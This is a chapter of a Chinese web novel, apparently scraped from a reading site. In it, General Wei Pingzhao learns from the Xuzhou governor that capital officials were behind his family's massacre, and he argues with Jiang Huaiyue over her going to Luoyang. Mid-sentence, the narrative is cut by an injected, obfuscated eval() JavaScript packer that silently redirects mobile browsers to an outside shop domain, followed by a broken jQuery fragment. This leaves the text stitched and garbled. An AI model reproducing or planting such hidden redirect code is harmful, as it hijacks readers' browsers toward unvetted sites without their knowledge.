8. 州牧
    碍于那一个欠字,江淮月无可奈何,终究还是答应了随魏平昭一同去洛阳。

    而且她丝毫不怀疑,即便她真的拒绝,对方也有无数的方法能让她就范,既是这样,不如还是省去些步骤的好。

    临出发前,一行人先去了一趟州牧府衙。

    徐州州牧已是个年过半百的老人家,江淮月几年前曾见过他一面,眼下再看,深觉这人实在是苍老得有些太快。

    魏平昭同他打了招呼,对方垂着头回礼,余光掠过后方的江淮月时,稍稍顿了一下。

    江淮月觉得,他应该是认得自己的,毕竟当官的人,心眼儿总是要格外多些。

    但老州牧除了那一顿,却并未再多看她一眼,只是与魏平昭道:“魏将军,请随我到房中一叙。”

    两人便一前一后离开了厅堂,江淮月并未跟上去,和其余人一起留在原地等候。

    “平昭。”

    关上房门,老州牧一直佝偻的身躯终于站直,他看着眼前挺拔的少年道:“你果然未让我失望。”

    魏平昭按了按腰间的剑,突然垂眸跪下去:“还未多谢大人当年相救之恩。”

    两年前,他遭遇灭门惨祸,又被江家当众退了婚,不见踪影后,人人都以为他必死无疑。

    老州牧摇摇头,将人扶起来:“我也并非全然为了你,亦存了私心。”

    当年魏平昭一身孝衣,行于荒野时,是老州牧寻到了他,抬手替他指了一条路。

    他说:“燕国最北的冀州,战乱已有多年,太需要有人来结束这困顿的局面了,若你有志,便去试一试吧。”

    “如若能带着功勋回来,到那时,我或许还能给你一个真相。”

    州牧大人曾于偶然间窥得,魏家的小公子于兵法一道极有天赋,所以,他看到了一线希望。

    事实证明,他的眼光的确没有错。

    “现在。”魏平昭定定看向面前之人,“大人能够告诉我真相了吗?”

    老州牧慢慢松开他的手,缓慢移动步子,行到半旧的桌案前,良久,终于开口:“……贼在京中,贼在,朝中啊。”

    他闭上了眼。

    魏平昭深深拧眉:“大人是说,洛阳?”

    老州牧点头:“京中一直有人在各地借商贾之手敛财,无奈,我始终无法探查出背后之人的真实身份。”

    “士农工商,世人大多不看重商民,却不知这其中亦是一笔巨财,对方便是利用了这一点,多年来或威胁或合作,控制了一大批富商,却不曾引起注意。”

    魏平昭终于明白:“所以,我家中是因不愿为其所用,所以才引来了灭门之祸?”

    “是。”老州牧神情疲惫,“其中具体情形我无从得知,但可以肯定,这二者之间必然有直接的关联。因为数年前,我一位亲族,就是这般丧命的。”

    他重重吐了口气,似是要吐尽心中的郁气。

    对方伪装成江湖中人为财仇杀,如此一来,朝廷便也不好追查,但他细细摸索却发现,事情根本不是表面上那么简单。

    “那江家呢?”魏平昭突然道。

    魏家被盯上,江家大概率也不会安然无恙。

    果然,老州牧沉默一瞬,点头:“他们也找了江家。”

    魏家本是首富,被灭门后,对方便开始扶持江家,后者很快就在徐州独大。

    魏平昭神色复杂,想起之前江老爷说的话,皱眉道:“难怪他们会问,‘当年的事,我是否已经知晓’。”

    原来指的是这个。

    老州牧拍拍他的肩:“你捐了江家的钱财,也算是误打误撞破了局。”

    “江家跟京中的人来往多年,何尝不是与虎谋皮,如今没了银子,这层关系也算是到头了,江家不似你爹娘,敢去宁为玉碎,不为瓦全。”

    “人总是惜命的啊。”

    魏平昭沉默,其实惜命并没有错,如若可以,他甚至也希望他们能够这般“惜命”。

    老州牧继续道:“当年,江家想必也是知晓这其中的缘由,所以才不敢插手,退了同你的亲事。”

    魏平昭皱了下眉,并未接下这句话,而是道:“如此看来,我此番去洛阳,那些人必定会有所动作。”

    他并未隐藏身份,有心人只要稍微打听一下就会知道他出自徐州魏家,背后之人自然不可能放过。

    老州牧缓缓颔首:“但如今你身份不同了,他们想必不敢轻易出手,应当会先试探,你便可借此机会顺藤摸瓜,找出幕后之人。”

    这也是他为何让魏平昭去从军,建了功勋回来后方才告诉他真相的原因。

    皇城之中,遍地天潢贵胄,岂是轻易可与之相抗的?如今魏平昭在北地打了胜仗,奉旨回京,借了一点天子的光,方才有了入局的资本。

    “……魏将军。”老州牧看着面前年轻的郎君,苍老的声音多了分不易察觉的颤抖,“你可做好准备了?此番入京,若要报仇,便绝对是九死一生,若就此放下……”

    “我不会放下。”魏平昭没有犹豫,“灭门之仇,不共戴天。”

    “好,好……”老州牧双手颤抖,浑浊的双目终于忍不住泛起了泪光。

    这便是他的私心。

    他已经老了,也自知能力有限,所以他看中了魏平昭,一个同样深受京中权贵所害的苦命之人。

    他要借魏平昭的手,去为他那些枉死的亲族报仇。

    这些年他一直在官位上苦苦挣扎,不敢表现出丝毫的恨意,如今,他终于找到了一把刀,一把能替他直指洛阳的刀。

    魏平昭并不在意这一层私心,他垂下目光,道:“若非意外,早在两年前我就该和魏家的所有人一起葬身血海了,如今阎王既未收我,便该是让我去向他们索命的时候了。”

    屋内之人嗓音沉沉,仿佛真的牵带出了逝者的生息,屋外的天光好似在这一刻骤然变得暗淡。

    院中冷风乍起,江淮月伸出手捂住自己颤抖的双唇,努力不让任何声音发出来,然后红着一双眼,匆匆转身离开了原地。

    里头的老州牧感慨万分,待终于平

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282101|151875||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    复下心情,方才道:“不过,有几件事——你一来就罢了几个守城的兵,还把何家的人下狱打了一顿,这般做,你当真不怕还没到洛阳,弹劾你的折子就已经堆满了御案?”

    魏平昭就笑了笑:“这样不好吗?正好可以叫那些人放心,在北地打了数场胜仗的魏平昭,也不过只是一个心胸狭隘的莽撞之人罢了。”

    “何况,这些人无不无辜,大人该是最清楚的,我可不曾冤枉他们。”

    老州牧默了默,又道:“那江家的小娘子呢?”

    魏平昭笑意淡下来:“与她何干?”

    “你不必遮掩。”老州牧叹气,“你既把她带到这来,不就是要同她一路的意思么?我只问你,带她去洛阳,到底是欲其生,还是欲其死?”

    魏平昭听言,再次勾起了嘴角,只是面上的笑意丝毫未达眼底:“大人何时也学会阴阳怪气了。”

    老州牧就道:“我并非阴阳怪气,是真的想知道答案。”

    “常言道,夫妻本是同林鸟,大难临头各自飞。生死当前,趋利避害是人之本性,你既已打算入京,又何必再困于从前的旧事当中。”

    “不过是一纸早已作废的婚约,我与她算哪门子的夫妻。”魏平昭当即嗤笑。

    老州牧:“你若真的如此想,就不会是此刻这般的神情了。”

    他拢了拢官服,慢慢佝偻下身躯,缓缓道:“之前你让她与你同去洛阳,是还不知晓这些事情,如今知道了,不如便再好好想想吧。”

    老州牧推开门,叹息着走远了。

    屋内,魏平昭缓缓摩挲指腹,浓黑的眉深深皱着。

    ——

    回到厅堂后,江淮月面色如常地捧着杯子喝了一盏茶,未过多久,魏平昭便也回来了。

    她正准备跟上去,就听魏平昭突然道:“去洛阳之事,我改了主意,你不必跟着了。”

    江淮月一顿,不着痕迹地握紧手心,问:“为何?”

    魏平昭:“没有为何,待到了皇城,自然有的是蕙质兰心的女子,我又何需带着你给自己找不痛快。”

    江淮月定定看着他,良久,忽然翘起唇角笑道:“魏将军说得好,不过我也改主意了,这个洛阳,我去定了。”

    魏平昭倏地拧眉,眸光一寸寸冷下来。

    她只当看不见,背过身认真分析:“都说洛阳繁华,天子脚下,繁花似锦,有无数泼天的富贵,我现在想明白了,正因为什么都没有了,我才更要好好争取一番。”

    她回过身,微歪着头笑道:“还望魏将军看在过去的情分上,就做了这股东风,让我搭着进洛阳城吧?”

    魏平昭垂眸看着她,眉头皱得几乎能夹死一只苍蝇,半晌,冷硬开口:“你莫要后悔。”

    江淮月本能地屈了一下手指,面上却还是笑吟吟道:“这有什么好后悔的。”

    魏平昭不再开口,只最后望了她一眼,颇有些意味不明。

    江淮月等人彻底离开,方才慢慢收起了脸上的笑,垂下眼,无声地攥了攥掌心。